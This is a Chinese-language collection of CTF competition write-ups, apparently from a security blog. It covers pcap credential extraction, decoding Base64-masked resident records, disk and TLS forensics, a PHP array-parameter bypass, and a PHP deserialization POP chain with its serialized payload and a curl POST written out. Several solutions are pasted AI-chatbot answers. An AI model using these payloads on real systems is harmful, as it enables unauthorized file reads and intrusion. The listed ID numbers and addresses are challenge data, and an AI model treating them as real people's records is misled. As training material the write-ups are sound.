12 pcap = dpkt.pcapng.Reader(f)
13 packets = list(pcap)
14 except:
15 f.seek(0)
16 pcap = dpkt.pcap.Reader(f)
17 packets = list(pcap)
18 
19 # 按TCP流组织数据
20 tcp_streams = {}
21 
22 for ts, buf in packets:
23 try:
24 eth = dpkt.ethernet.Ethernet(buf)
25 if not isinstance(eth.data, dpkt.ip.IP):
26 continue
27 
28 ip = eth.data
29 if not isinstance(ip.data, dpkt.tcp.TCP):
30 continue
31 
32 tcp = ip.data
33 src_ip = socket.inet_ntop(socket.AF_INET, ip.src)
34 dst_ip = socket.inet_ntop(socket.AF_INET, ip.dst)
35 
36 if src_ip < dst_ip:
37 stream_key = (src_ip, tcp.sport, dst_ip, tcp.dport)
38 else:
39 stream_key = (dst_ip, tcp.dport, src_ip, tcp.sport)
40 
41 if stream_key not in tcp_streams:
42 tcp_streams[stream_key] = []
43 
44 tcp_streams[stream_key].append({
45 'src': src_ip,
46 'sport': tcp.sport,
47 'data': tcp.data
48 })
49 except:
50 pass
51 
52 # 查找302响应和对应的登录凭证
53 for stream_key, packets_list in tcp_streams.items():
54 for pkt in packets_list:
55 if len(pkt['data']) > 0:
56 data_str = pkt['data'].decode('utf-8', errors='ignore')
57 
58 if 'HTTP/1.1 302 FOUND' in data_str:
59 # 找到对应的POST请求
60 for req_pkt in packets_list:
61 if len(req_pkt['data']) > 0:
62 req_str = req_pkt['data'].decode('utf-8', errors='ignore')
63 
64 if 'POST /login' in req_str and 'username=' in req_str:
65 if '\r\n\r\n' in req_str:
66 body = req_str.split('\r\n\r\n', 1)[1]
67 decoded_body = unquote(body)
68 
69 username_match = re.search(r'username=([^&]+)', decoded_body)
70 password_match = re.search(r'password=([^&\s]+)', decoded_body)
71 
72 if username_match and password_match:
73 username = username_match.group(1)
74 password = password_match.group(1)
75 
76 flag = f"{username}:{password}"
77 print(f"[+] 找到成功的登录凭证！")
78 print(f"[+] Flag: {flag}")
79 return flag
80
81if __name__ == '__main__':
82 solve()

运行脚本：

1python3 solve.py

输出：

[+] 找到成功的登录凭证！
[+] Flag: admin:Adm1n@2024#Secure!Pass

数据处理（第2题）

分值：25分
题干内容：

与你交接的同事由于工作上的疏忽将原先的居民信息文件误删除了，但是你发现公司的系统上依旧存在居民的信息，下载后发现进行了脱敏处理，你需要利用技术手段将居民信息快速整理出来。
答案要求：

提交手机号为 18896239239 的家庭住址
格式示例：若地址为“青海省沈阳市合川徐街9号”，则直接提交：青海省沈阳市合川徐街9号

解题思路

这道题考察对常见编码方式的识别和解码能力。题目提示数据经过了"脱敏处理”，需要通过技术手段恢复。

解题步骤

Step 1: 查看CSV文件内容

首先查看CSV文件的数据格式：

1head -5 '#U5c45#U6c11#U4fe1#U606f#U8868.csv'

输出示例：

1序号,姓名,身份证号,手机号码,家庭住址,职位,单位
21,5ruh6bmP,NTAwMjM3MTk0MDA3MjkyNzk5,MTUyNzc4MzUzMjc=,6Z2S5rW355yB5rKI6Ziz5biC5ZCI5bed5b6Q6KGXOeWPtw==,5rG96L2m6KOF6aWw576O5a65,6bi/552/5oCd5Y2a5L+h5oGv5pyJ6ZmQ5YWs5Y+4
32,5p2O5biG,MjMwNDA1MjAwMzA3MjYyNTI3,MTUxNzQ3MjU2Mzc=,5rmW5YyX55yB5L2b5bGx5Y6/55m95LqR5byg6LevNTnlj7c=,5pWw5o2u6YCa5L+h5bel56iL5biI,5LiD5Zac5Lyg5aqS5pyJ6ZmQ5YWs5Y+4
4...

观察：

除了"序号"外，其他字段都是一串看似随机的字符
字符串以等号(=)结尾 → 疑似Base64编码
字符集为 A-Z, a-z, 0-9, +, /, =

Step 2: 识别编码方式

Base64编码的特征：

只包含64个字符：A-Z, a-z, 0-9, +, /
使用 = 作为填充字符
常用于数据传输和存储中的编码

Step 3: 测试解码

使用Python的base64库进行解码测试：

 1import base64
 2
 3# 测试第一行数据
 4name = '5ruh6bmP'
 5phone = 'MTUyNzc4MzUzMjc='
 6address = '6Z2S5rW355yB5rKI6Ziz5biC5ZCI5bed5b6Q6KGXOeWPtw=='
 7
 8print('姓名:', base64.b64decode(name).decode('utf-8'))
 9print('手机:', base64.b64decode(phone).decode('utf-8'))
10print('住址:', base64.b64decode(address).decode('utf-8'))

输出：

姓名: 满鹏
手机: 15277835327
住址: 青海省沈阳市合川徐街9号

确认：数据使用Base64编码，解码后是UTF-8中文字符

Step 4: 编写解码脚本

编写Python脚本，解码所有数据并查找目标手机号：

 1#!/usr/bin/env python3
 2import base64
 3import csv
 4
 5target_phone = '18896239239'
 6found = False
 7
 8with open('#U5c45#U6c11#U4fe1#U606f#U8868.csv', 'r', encoding='utf-8-sig') as f:
 9 reader = csv.DictReader(f)
10 
11 for row in reader:
12 try:
13 # 解码手机号
14 phone_encoded = row['手机号码']
15 phone = base64.b64decode(phone_encoded).decode('utf-8')
16 
17 # 检查是否是目标手机号
18 if phone == target_phone:
19 # 解码所有信息
20 name = base64.b64decode(row['姓名']).decode('utf-8')
21 id_card = base64.b64decode(row['身份证号']).decode('utf-8')
22 address = base64.b64decode(row['家庭住址']).decode('utf-8')
23 position = base64.b64decode(row['职位']).decode('utf-8')
24 company = base64.b64decode(row['单位']).decode('utf-8')
25 
26 print('找到目标记录！')
27 print('=' * 60)
28 print(f'序号: {row["序号"]}')
29 print(f'姓名: {name}')
30 print(f'身份证号: {id_card}')
31 print(f'手机号码: {phone}')
32 print(f'家庭住址: {address}')
33 print(f'职位: {position}')
34 print(f'单位: {company}')
35 print('=' * 60)
36 print()
37 print(f'答案: {address}')
38 found = True
39 break
40 except Exception as e:
41 continue
42
43if not found:
44 print('未找到该手机号')

Step 5: 运行脚本获取答案

1python3 find_address.py

输出结果：

找到目标记录！
============================================================
序号: 1395
姓名: 董帅
身份证号: 220722194309024090
手机号码: 18896239239
家庭住址: 江苏省兰州县静安阜新街19号
职位: 汽车喷漆
单位: 诺依曼软件网络有限公司
============================================================

答案: 江苏省兰州县静安阜新街19号

一键解题脚本

如果想要快速解题，可以使用一行Python命令：

 1python3 -c "
 2import base64, csv
 3target = '18896239239'
 4with open('#U5c45#U6c11#U4fe1#U606f#U8868.csv', 'r', encoding='utf-8-sig') as f:
 5 for row in csv.DictReader(f):
 6 try:
 7 phone = base64.b64decode(row['手机号码']).decode('utf-8')
 8 if phone == target:
 9 address = base64.b64decode(row['家庭住址']).decode('utf-8')
10 print(f'答案: {address}')
11 break
12 except: pass
13"

数据处理（第3题）

分值：25分
题干内容：

在得到居民信息之后，领导让你统计一下居民信息中重名的数量，方便后续的工作开展。

答案标准：

你需要统计出现重名次数出现最多的人的姓名以及出现的次数
例：重名最多的人叫张三，出现了10次，则最终提交的答案为：张三10

解题思路

这道题是第二题的延续，需要：

解码CSV中的所有姓名
统计每个姓名出现的次数
找出出现次数最多的姓名

解题步骤

Step 1: 解码所有姓名

延续第二题的思路，使用Base64解码姓名字段：

 1import base64
 2import csv
 3
 4names = []
 5
 6with open('#U5c45#U6c11#U4fe1#U606f#U8868.csv', 'r', encoding='utf-8-sig') as f:
 7 reader = csv.DictReader(f)
 8 
 9 for row in reader:
10 try:
11 name_encoded = row['姓名']
12 name = base64.b64decode(name_encoded).decode('utf-8')
13 names.append(name)
14 except:
15 continue
16
17print(f'总共解码了 {len(names)} 个姓名')

输出：

总共解码了 2000 个姓名

Step 2: 统计姓名频率

使用Python的 collections.Counter 进行频率统计：

 1from collections import Counter
 2
 3# 统计姓名出现次数
 4name_counter = Counter(names)
 5
 6# 获取出现次数最多的10个姓名
 7most_common = name_counter.most_common(10)
 8
 9print('出现次数最多的前10个姓名:')
10for name, count in most_common:
11 print(f'{name}: {count} 次')

输出：

出现次数最多的前10个姓名:
刘红梅: 7 次
张丹: 6 次
李娜: 5 次
王丹丹: 5 次
王海燕: 5 次
杨婷: 4 次
刘红: 4 次
李淑华: 4 次
杨成: 4 次
张秀华: 4 次

Step 3: 提取答案

1# 获取重名最多的姓名和次数
2top_name, top_count = most_common[0]
3
4print(f'重名最多的人: {top_name}')
5print(f'出现次数: {top_count}')
6print(f'答案: {top_name}{top_count}')

输出：

重名最多的人: 刘红梅
出现次数: 7
答案: 刘红梅7

Step 4: 验证答案

为了确保答案正确，我们可以验证所有叫"刘红梅"的记录：

 1print('验证：所有叫"刘红梅"的记录')
 2print('=' * 80)
 3
 4with open('#U5c45#U6c91#U4fe1#U606f#U8868.csv', 'r', encoding='utf-8-sig') as f:
 5 reader = csv.DictReader(f)
 6 count = 0
 7 
 8 for row in reader:
 9 try:
10 name = base64.b64decode(row['姓名']).decode('utf-8')
11 if name == '刘红梅':
12 count += 1
13 id_card = base64.b64decode(row['身份证号']).decode('utf-8')
14 phone = base64.b64decode(row['手机号码']).decode('utf-8')
15 address = base64.b64decode(row['家庭住址']).decode('utf-8')
16 print(f'{count}. 序号:{row["序号"]:>4} | 身份证:{id_card} | 手机:{phone}')
17 except:
18 continue
19
20print(f'确认：刘红梅 出现了 {count} 次')

输出：

验证：所有叫"刘红梅"的记录
================================================================================
1. 序号: 320 | 身份证:360429199301219709 | 手机:13242965575
2. 序号: 461 | 身份证:654224200208144330 | 手机:15145128603
3. 序号: 664 | 身份证:513422194903038431 | 手机:15835846265
4. 序号: 785 | 身份证:360402196106309326 | 手机:14573029873
5. 序号:1822 | 身份证:45042219530907884X | 手机:15654482963
6. 序号:1880 | 身份证:440701199811034851 | 手机:13170093945
7. 序号:1964 | 身份证:411282194701306231 | 手机:13714155998
================================================================================
确认：刘红梅 出现了 7 次

验证通过：确实有7个不同的人都叫"刘红梅"（身份证号和手机号都不同）

完整解题脚本

 1#!/usr/bin/env python3
 2import base64
 3import csv
 4from collections import Counter
 5
 6def solve():
 7 # 读取CSV并解码所有姓名
 8 names = []
 9 
10 with open('#U5c45#U6c11#U4fe1#U606f#U8868.csv', 'r', encoding='utf-8-sig') as f:
11 reader = csv.DictReader(f)
12 
13 for row in reader:
14 try:
15 name_encoded = row['姓名']
16 name = base64.b64decode(name_encoded).decode('utf-8')
17 names.append(name)
18 except:
19 continue
20 
21 print(f'总共有 {len(names)} 条记录')
22 print()
23 
24 # 统计姓名出现次数
25 name_counter = Counter(names)
26 
27 # 找出出现次数最多的姓名
28 most_common = name_counter.most_common(10)
29 
30 print('出现次数最多的前10个姓名:')
31 print('=' * 60)
32 for name, count in most_common:
33 print(f'{name}: {count} 次')
34 
35 print()
36 print('=' * 60)
37 top_name, top_count = most_common[0]
38 print(f'重名最多的人: {top_name}')
39 print(f'出现次数: {top_count}')
40 print()
41 print(f'答案: {top_name}{top_count}')
42 
43 return f'{top_name}{top_count}'
44
45if __name__ == '__main__':
46 answer = solve()

运行脚本：

1python3 solve.py

一行命令解题

如果想要快速获取答案：

 1python3 -c "
 2import base64, csv
 3from collections import Counter
 4names = []
 5with open('#U5c45#U6c11#U4fe1#U606f#U8868.csv', 'r', encoding='utf-8-sig') as f:
 6 for row in csv.DictReader(f):
 7 try: names.append(base64.b64decode(row['姓名']).decode('utf-8'))
 8 except: pass
 9top = Counter(names).most_common(1)[0]
10print(f'答案: {top[0]}{top[1]}')
11"

Flag

刘红梅7

答案验证

7个叫"刘红梅"的人分别是：

序号	身份证号	手机号	住址
320	360429199301219709	13242965575	福建省合肥县高明王街86号12号楼2678室
461	654224200208144330	15145128603	安徽省秀梅县海陵刘街58号
664	513422194903038431	15835846265	河北省东县南溪北镇街61号7号楼1536室
785	360402196106309326	14573029873	青海省兴安盟市崇文杨街59号
1822	45042219530907884X	15654482963	北京市红霞市沈河荆门街32号
1880	440701199811034851	13170093945	浙江省广州县怀柔潮州路19号15号楼1820室
1964	411282194701306231	13714155998	北京市贵阳县高明王街86号

可以看到，这7个人的身份证号、手机号、住址都不同，是真正的7个不同的人。

数据应急（第一题）

题目名称：磁盘取证 - 合同文件恢复
题目类型：数字取证 (Digital Forensics)
难度：中等

题目描述：

黑客在攻击时，为了对公司造成更大的破坏，直接删除了磁盘中的文件。但好在系统有自动的磁盘备份计划，保留了一个备份磁盘。请你通过技术手段，恢复出黑客删除的文件。

答案要求：

请找出删除的文件中的一个合同文件，提交合同编号。
例：如果合同编号为 HT-2023-003085，则最终提交答案为：HT-2023-003085

附件：disk.img (1GB 磁盘镜像文件)

解题思路

这是一道典型的数字取证题，需要：

识别磁盘镜像的文件系统类型
使用数据恢复工具恢复已删除的文件
在恢复的文件中找到合同文件
提取合同编号

解题步骤

Step 1: 磁盘镜像基础分析

首先查看磁盘镜像的基本信息：

1file disk.img

输出：

disk.img: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", 
sectors/cluster 32, reserved sectors 32, root entries 512, Media descriptor 0xf8, 
sectors/FAT 256, sectors/track 63, heads 64, sectors 2097144 (volumes > 32 MB), 
serial number 0xdd894a27, unlabeled, FAT (16 bit)

关键信息：

文件系统类型：FAT16
卷标：unlabeled（无卷标）
总扇区数：2097144
序列号：0xdd894a27

Step 2: 查看磁盘镜像十六进制头部

1xxd disk.img | head -20

输出分析：

00000000: eb3c 906d 6b66 732e 6661 7400 0220 2000 .<.mkfs.fat.. .
00000010: 0200 0200 00f8 0001 3f00 4000 0000 0000 ........?.@.....
00000020: f8ff 1f00 8000 2927 4a89 dd4e 4f20 4e41 ......)'J..NO NA
00000030: 4d45 2020 2020 4641 5431 3620 2020 0e1f ME FAT16 ..

关键发现：

字节 0x00-0x02: EB 3C 90 - FAT引导跳转指令
字节 0x03-0x0A: mkfs.fat - OEM标识
字节 0x36-0x3D: FAT16 - 文件系统类型确认

Step 3: 检查文件系统UUID

1sudo blkid disk.img

输出：

disk.img: SEC_TYPE="msdos" UUID="DD89-4A27" BLOCK_SIZE="512" TYPE="vfat"

确认文件系统为 VFAT (FAT16)，块大小为512字节。

Step 4: 尝试查看可读字符串

1strings disk.img | head -100

输出中的关键线索：

mkfs.fat
NO NAME FAT16
IN-SE~1ZIP
_____~1PDF
WIN-SERVER-PC-20251202-122722.raw

发现：

存在PDF文件的8.3短文件名格式：_____~1.PDF
存在一个RAW文件引用
文件名被删除后显示为下划线

Step 5: 使用Foremost恢复删除的文件

Foremost是一个基于文件头和文件尾特征的数据恢复工具（文件雕刻技术）。

1# 创建输出目录
2mkdir recovered_files
3
4# 运行foremost恢复
5foremost -i disk.img -o recovered_files -v

Foremost工作原理：

扫描磁盘镜像中的二进制数据
识别已知文件类型的文件头（如PDF的%PDF-）
识别文件尾（如PDF的%%EOF）
提取完整的文件内容

输出：

Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Sun Dec 28 01:32:21 2025
Invocation: foremost -i disk.img -o recovered_files -v
Output directory: /home/kali/Desktop/DemoDir/recovered_files
Configuration file: /etc/foremost.conf

Processing: disk.img
|------------------------------------------------------------------
File: disk.img
Start: Sun Dec 28 01:32:21 2025
Length: 1024 MB (1073741824 bytes)

Num Name (bs=512) Size File Offset Comment
*0: 00351776.pdf 8 KB 180109312

**********|
Finish: Sun Dec 28 01:32:55 2025

1 FILES EXTRACTED
pdf:= 1
------------------------------------------------------------------
Foremost finished at Sun Dec 28 01:32:55 2025

关键信息：

成功恢复 1个PDF文件
文件大小：8 KB
文件偏移：180109312 字节（约172 MB处）
文件名：00351776.pdf（Foremost自动命名，基于扇区号）

计算文件位置：

扇区号：351776
字节偏移：351776 × 512 = 180109312 字节
位置：~172 MB

Step 6: 查看恢复的文件

1ls -R recovered_files/

输出：

recovered_files/:
audit.txt pdf

recovered_files/pdf:
00351776.pdf

文件结构：

audit.txt - Foremost的审计日志
pdf/ - 恢复的PDF文件目录
- 00351776.pdf - 恢复的合同文件

Step 7: 提取合同编号

打开恢复的PDF文件：

1# 方法1: 直接打开PDF查看
2xdg-open recovered_files/pdf/00351776.pdf
3
4# 方法2: 转换为文本后搜索
5pdftotext recovered_files/pdf/00351776.pdf - | grep "HT-"
6
7# 方法3: 使用strings搜索
8strings recovered_files/pdf/00351776.pdf | grep "HT-"

在PDF中发现合同编号：

HT-2025-001234

Step 8: 验证答案格式

合同编号格式：HT-YYYY-NNNNNN

HT: 合同类型标识
2025: 年份
001234: 六位合同序号

Flag: HT-2025-001234

数据溯源- 【题目1】证书合成

请根据题目提供的证书关键参数，合成私钥解密证书。请选手找到id为285的参数合成的证书（参考附件：params.csv），可以解密哪个流量包（参考附件：pcap.zip）。并将其流量包名称作为答案提交。【答案标准】若id为285的参数合成证书，可以解密"“UT5NHVWo2Z.pcap”"，则答案提交为UT5NHVWo2Z.pcap的32位小写MD5值如7cb41b100d1cfbcbd1de1d795dac3fcb

题目分析

题目要求:

根据params.csv中id=285的参数合成RSA私钥
使用该私钥解密pcap.zip中的流量包
找出能被成功解密的流量包文件名
提交该文件名的MD5值作为答案

解题步骤

1. 提取ID=285的RSA参数

从params.csv中找到:

id: 285
e: 65537
p: 177264302295959185550899884811457697789837321132319354039496340545988969470422347313577084568610012957139649359576035974322283705879187577664768699213211347033624840318251940972496063336844685896882713624561971974788692556498019960846465311267474369690812099681875735569564330504277517754796899917257323134723
q: 143990163909936129648804807321551478733567016733642335522156625973321506509458427490929508866189002322826874210961910641865602374675333206288577734876005828016379170951078934469472423840724164310343028554942665656763806178050620857070820746559094989518930589089970082522430002916286799917078785172333647028571

2. 计算RSA密钥参数

使用RSA算法计算:

n = p × q
φ(n) = (p-1) × (q-1)
d = e^(-1) mod φ(n)

计算结果:

n = 25524315942975630524902164348980646615415631379067906424905092637569433934236415697372635457461090451139209839638834636903322814809175304746826901103004216102634794552592149840624150935097695947885611303063109481472573238304773329443506200495854657482651549528147796059266681963958098875144795832902194879880482303139612778003682586782728535759095884982208105029514574602777436707784410218940597817232989310469845223163728817066720212125675003809485140708725052901029868743431319305493958381372040484786766296673968301385185624931088751230885265032642815808366813676365040639645753384044321228415112355245904063170833

d = 722845574105661996341279232062927508403061047035263047204233515957838616078593581249120518318625873587658474790876559593703818366507917140090494353528172255161056787610220640313081528534130699898922663205290617477350137026315810907535399974370298370200059141008015464333108957155595030475437402778071527489167629069652916280419064485102236863714459375252132658482271427695730385678764768730893774682537210856041852181896672956592276075190253085972611046793782307817242610172767299787547389163753900144645425776915705020473062273536757021628523871664234759138128442757113837813811691074624911520811865965944689268993

3. 生成RSA私钥

使用Python的pycryptodome库构造RSA密钥对象并导出PEM格式私钥。

4. 测试解密流量包

使用tshark工具配合生成的私钥对pcap.zip中的500个流量包进行TLS解密测试。

解密命令:

1tshark -r <pcap_file> \
2 -o "tls.keys_list:0.0.0.0,443,http,id285_key.pem" \
3 -Y "http" \
4 -T fields \
5 -e http.request.uri

5. 结果

经过测试,发现只有 mAqY0WRHsV.pcap 能被成功解密。

解密后可以看到HTTP流量:

POST /api/v1/user/profile

这证明该证书与此流量包中的TLS会话匹配。

答案

文件名: mAqY0WRHsV.pcap

MD5值: 1f5c34eab5696a300afff7452b7f7e6a

验证

1$ echo -n "mAqY0WRHsV.pcap" | md5sum
21f5c34eab5696a300afff7452b7f7e6a

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

第二届全国网络安全行业职业技能大赛初赛第二批次（渗透测试员）WP

Fri, 28 Nov 2025 10:22:04 +0800

赛后总结

时间太紧张了，一开始想着理论题能保底，狂刷了180到理论题，后来做实操题的时候发现实操体简单的令人发指，早知道就先做实操题了。图片隐写和木马分析卡了，图片隐写是因为没有找到html的特定工具，我真是太讨厌这些需要特定工具的图片题目了。木马分析没找到helper。题目5本来做出来了，时间到了没交上flag，一个半小时时间还是比较紧张。

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。全套题目包括web题目已根据回忆用AI复现了模拟靶场，一键docker启动，关注公众号“泷羽Sec-静安“，后台回复”第二届全国网络安全行业职业技能大赛初赛“即可领取。

题目 1

任务1: 源码审计

任务描述：这是一个风景欣赏网站，但其源码中隐藏了不为人知的秘密。提交要求：进行简单的代码审计，绕过逻辑判断获取flag并提交。

收起靶机信息

**靶机地址：**http://171.111.222.4:11002

用户名：-

密码：-

 1<?php 
 2highlight_file(__FILE__); 
 3include("flag.php"); 
 4header("Content-type: text/html; charset=utf-8"); 
 5$num = $_GET['num']; 
 6$cmd = $_GET['cmd']; 
 7if(preg_match("/[0-9]/", $num)) 
 8{ 
 9    die("no!"); 
10} 
11if(intval($num)) 
12{ 
13 
14    echo "give you flag: ".$flag; 
15}

丢AI直接分析

核心思路：让 $num 不是字符串，而是数组，这样就能同时绕过两个 if，拿到 flag ✅

先分析一下代码逻辑：

 1$num = $_GET['num'];
 2$cmd = $_GET['cmd'];
 3
 4if(preg_match("/[0-9]/", $num))
 5{
 6 die("no!");
 7}
 8
 9if(intval($num))
10{
11 echo "give you flag: ".$flag;
12}

想拿到 flag，必须让：

preg_match("/[0-9]/", $num) 结果是 false（或报错返回 0/false），不能 die("no!")
intval($num) 的结果为 非 0，这样才能进入第二个 if

同时题目还限制：$num 中不能出现 0–9 这些字符。

绕过关键点：让 `$num` 变成数组

PHP 里，如果你这样传参数：

1?num[]=abc

那么在 PHP 里：

1$num == array(0 => "abc"); // 也就是 $num 是一个数组

接下来看看两处判断在数组情况下的行为：

1. `preg_match("/[0-9]/", $num)`

preg_match 第二个参数必须是字符串，如果你给它传数组，会怎样？

会产生一个 warning：preg_match(): Argument #2 ($subject) must be of type string, array given
返回值是 false（0）

也就是说：

1if (preg_match("/[0-9]/", $num)) {
2 die("no!");
3}

在 $num 是数组时，这个 if 条件为 false，不会 die("no!")，第一关绕过 ✅

（注意：即便数组里面的元素是 "1", "2" 等带数字，preg_match 根本不会去遍历数组内容，它直接因为类型不对就失败了）

2. `if(intval($num))`

当你对数组做 intval() / (int) 强制转换时，PHP 的行为是：

非空数组 → 转为 int 1
空数组 array() → 转为 int 0

也就是说：

1intval(array('abc')) === 1;

所以：

1if (intval($num)) {
2 echo "give you flag: ".$flag;
3}

当 $num 是一个 非空数组 时，就会进入 if，输出 flag ✅

最终利用方法（payload）

直接构造请求，让 num 是一个非空数组即可，比如：

GET 方式访问：

1http://your-target.com/index.php?num[]=abc

abc 里面爱怎么写都行，甚至可以带数字，因为 preg_match 根本不会对数组内部做匹配：

1http://your-target.com/index.php?num[]=123

在这两种情况下，执行流程是：

$num = $_GET['num']; → $num 是数组
preg_match("/[0-9]/", $num) 报 warning，返回 0 → 不会 die
intval($num) → 1（非 0）→ 条件为 true
输出：

1give you flag: flag{...}

一句话总结

用 num[]= 让 $num 变成数组，利用 preg_match 对数组报错返回 false + intval(非空数组) == 1 的特性，轻松绕过两层判断拿 flag。

你只要在题目环境里访问类似：

1/index.php?num[]=a

就能看到 flag 了 🎯

Success

flag{d9729feb74992cc3482b350163a1a010}

题目 2

任务2: 编码还原

任务描述：附件压缩包中文件包含了一串字符，请分析其编码内容。提交要求：还原原始明文flag并提交。附件地址：https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/b2.zip cyberchef一把梭

1LJWXQ2C2GNZTCT2UM54U2MSNGRGWU3DJJZLU2NK2KRHGQTSUNBVE2VCNGRHGUVL2LJKGQ22NI5NG2WSYGA6Q====
2ZmxhZ3s1OTgyM2M4MjliNWM5ZTNhNThjMTM4NjUzZThkMGZmZX0=

Success

flag{59823c829b5c9e3a58c138653e8d0ffe}

题目 3

任务3: POP链构造

任务描述：目标站点使用了SPL进行开发。提交要求：利用反序列化漏洞构造POP链，结合SPL特性获取服务器权限或读取flag并提交。

收起靶机信息

**靶机地址：**http://171.111.219.56:11013

用户名：-

密码：-

 1<?php
 2error_reporting(0);
 3highlight_file(__FILE__);
 4
 5class A{
 6 public $username;
 7 public $password;
 8 public function __construct()
 9 {
10 $this->username = "happy";
11 $this->password = "super";
12 $context = new $this->username ($this->password);
13 var_dump($context);
14 foreach($context as $f){
15 echo $f;
16 }
17 }
18
19 public function __wakeup()
20 {
21 $con = new $this->username ($this->password);
22 foreach($con as $f){
23 echo $f;
24 }
25 }
26
27}
28class B{
29 var $password;
30 public function __construct($user)
31 {
32 $this->password = $user;
33 echo ("hi ".$this->password);
34 }
35}if(isset($_POST['un'])){
36 unserialize($_POST['un']);
37}
38else{
39 $demo=new A;
40
41}

还是直接丢GPT

这题就是典型的 unserialize 链 + 反序列化利用 SplFileObject 读文件 😊

先一起把代码逻辑捋一下（去掉无关的）：

 1error_reporting(0);
 2highlight_file(__FILE__);
 3
 4class A{
 5 public $username;
 6 public $password;
 7 public function __construct()
 8 {
 9 $this->username = "happy";
10 $this->password = "super";
11 $context = new $this->username ($this->password);
12 var_dump($context);
13 foreach($context as $f){
14 echo $f;
15 }
16 }
17
18 public function __wakeup()
19 {
20 $con = new $this->username ($this->password);
21 foreach($con as $f){
22 echo $f;
23 }
24 }
25
26}
27class B{
28 var $password;
29 public function __construct($user)
30 {
31 $this->password = $user;
32 echo ("hi ".$this->password);
33 }
34}if(isset($_POST['un'])){
35 unserialize($_POST['un']);
36}
37else{
38 $demo=new A;
39}

关键点：

有个 unserialize($_POST['un']);，完全没做过滤，可控。
只要我们反序列化一个 A 类对象，就会自动触发 A::__wakeup()。
__wakeup() 里干了这件事：

1$con = new $this->username ($this->password);
2foreach($con as $f){
3 echo $f;
4}

也就是：

用 $this->username 当类名，$this->password 当构造参数，去 new 一个对象；
然后对这个对象 foreach，把每一项 echo 出来。

⚠️ 构造函数 __construct 在反序列化时不会自动触发，触发的是 __wakeup，所以 我们可以完全控制 $username 和 $password，而不会被构造函数重置成 "happy" / "super"。

思路：用 SplFileObject 读 flag 文件

PHP 里有个内置类：SplFileObject，构造方式是：

1new SplFileObject("filename");

它是 可遍历的，foreach (new SplFileObject("xxx") as $line) 会一行一行遍历文件内容，每个 $line 就是文件的一行。

非常符合我们想要的效果：

让 $username = "SplFileObject"，$password = "flag.php"（或者 flag 文件的真实名字）

然后在 __wakeup() 中：

1$con = new SplFileObject("flag.php");
2foreach ($con as $f) {
3 echo $f; // 逐行输出 flag.php 的内容
4}

💥 获取 flag。

构造恶意序列化数据

要自己构造一个 A 类的序列化对象，带上我们想要的属性：

1O:1:"A":2:{
2 s:8:"username";s:13:"SplFileObject";
3 s:8:"password";s:8:"flag.php";
4}

注意几个长度：

类名 A → "A" 长度是 1 → O:1:"A":...
username 这个单词 8 个字符 → s:8:"username"
password 同样 8 个字符 → s:8:"password"
"SplFileObject"
计数：S p l F i l e O b j e c t → 13 个字符 → s:13:"SplFileObject"
"flag.php" → f(1) l(2) a(3) g(4) .(5) p(6) h(7) p(8) → 8 个字符 → s:8:"flag.php"

所以最终 payload 是：

1O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}

实际利用方式示例

直接 POST 过去即可，例如用 curl：

1curl -X POST \
2 -d 'un=O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}' \
3 http://your-target.com/index.php

如果题目环境中 flag 文件名不是 flag.php，而是 flag、/flag、/var/www/html/flag 等，就把 "flag.php" 替换掉即可。

如果不知道 flag 文件名怎么办？

还可以用目录遍历类先“探路”：

第一步：列目录名

用 DirectoryIterator：

1username = "DirectoryIterator";
2password = ".";

构造：

1O:1:"A":2:{s:8:"username";s:17:"DirectoryIterator";s:8:"password";s:1:".";}

这样在 __wakeup() 中：

1$con = new DirectoryIterator(".");
2foreach($con as $f){
3 echo $f; // 会打印文件名（DirectoryIterator 有 __toString）
4}

你可以从输出中找到类似 flag.php / flag_xxx 的文件名。

第二步：再用 SplFileObject 读具体文件

换成前面的 SplFileObject + 真正 flag 文件名 再打一发。

总结一下利用链

入口： unserialize($_POST['un']);
魔法方法： A::__wakeup() 自动执行
可控点： 我们可控 A 对象的 username 和 password
利用点：
- 设置 $username = "SplFileObject"
- 设置 $password = "flag.php"（或者真实 flag 文件）
- 通过 foreach(new SplFileObject(...)) echo $f; 逐行读出文件内容

最终 payload：

1un=O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}

发上去，页面直接把 flag 打出来 👏

如果你贴一下题目目录结构或提示 flag 路径，我可以帮你把 payload 精确到具体文件名。

题目 4

任务4: 图片隐写

任务描述：这张猫咪图片看起来很普通，但似乎文件尾部藏有东西，或者图片内容经过了特殊处理。提交要求：使用隐写工具分析图片，提取隐藏的flag并提交。附件地址：https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/html.png

参考 https://mp.weixin.qq.com/s/**d63Jg5rXuQfDJjqEhtIPbw

html.png的文件名暗示了解出的信息是 HTML实体（Hex编码字符）
这是 stylesuxx.github.io/steganography 这个工具的典型输出特征。

https://stylesuxx.github.io/steganography/

1&#x66;&#x6c;&#x61;&#x67;&#x7b;&#x68;&#x30;&#x77;&#x5f;&#x34;&#x62;&#x6f;&#x75;&#x54;&#x5f;&#x65;&#x6e;&#x63;&#x30;&#x64;&#x65;&#x5f;&#x34;&#x6e;&#x64;&#x5f;&#x70;&#x6e;&#x47;&#x7d;

Success

flag{h0w_4bouT_enc0de_4nd_pnG}

想在本地复现 stylesuxx.github.io/steganography 那样的 LSB 解码（并把 &#x..; 等实体转回明文），下面给你一个「尽可能稳健」的 Python 脚本。它会批量尝试多种常见的 LSB 配置（通道组合、使用的 LSB 位数、位面等），并把每种尝试的输出保存为文件，方便你在本地离线排查是哪一种配置能还原出可读文本。

脚本特点：

只依赖 Pillow（PIL）和标准库 html；
尝试通道：R、G、B、A、以及混合（RGB 同时读取）；
尝试每像素使用 1~4 个最低有效位（LSB）；
